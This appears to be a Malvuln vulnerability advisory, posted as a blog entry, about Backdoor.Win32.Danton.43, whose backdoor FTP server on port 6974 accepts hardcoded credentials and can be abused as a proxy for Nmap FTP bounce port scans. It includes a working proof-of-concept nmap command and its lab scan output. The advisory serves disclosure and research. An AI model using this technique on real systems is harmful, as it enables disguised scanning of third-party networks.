Tuesday, May 18, 2021

Backdoor.Win32.Danton.43 Man-In-The-Middle

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/85f7ef2b6b8da9adb7723a13b91ac1c7_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Danton.43
Vulnerability: MITM Port Bounce Scan
Description: The backdoor FTP server listens on TCP port 6974, hardcoding weak plaintext credentials within the executable. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7
Vuln ID: MVID-2021-0212
Disclosure: 05/14/2021

Exploit/PoC:
nmap -n -Pn -b Danton:[email protected]:6974 -p21,22,80 192.168.18.131 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-13 18:46 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.127 (192.168.18.127).
Attempting connection to ftp://Danton:[email protected]:6974
Connected:220 [ www.danton.prv.pl ]
Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on 192.168.18.131
Completed Bounce Scan at 18:47, 2.47s elapsed (3 total ports)
Nmap scan report for 192.168.18.131
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

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Thanks for everything Templateism - You should have written the code a little more complicated